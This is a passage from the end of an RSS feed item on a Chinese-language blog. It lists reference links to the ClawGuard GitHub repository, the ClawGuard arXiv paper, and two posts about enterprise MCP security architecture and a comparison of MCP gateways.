    &gt;ClawGuard GitHub&lt;/a&gt; — 源码 &amp;amp; 部署文档&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://arxiv.org/abs/2604.11790&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ClawGuard arXiv 论文 2604.11790&lt;/a&gt; — 完整技术报告&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.yesmiracle.net/post/20260809-enterprise-mcp-security-architecture/&#34; &gt;《从零搭建企业级 MCP 安全架构》&lt;/a&gt; — MCPZERO + ClawGuard + Grafana 实战部署&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.yesmiracle.net/post/20260803-mcp-gateway-comparison/&#34; &gt;《MCP Gateway 横向评测》&lt;/a&gt; — 网关层防御对比&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
    </channel>
</rss>
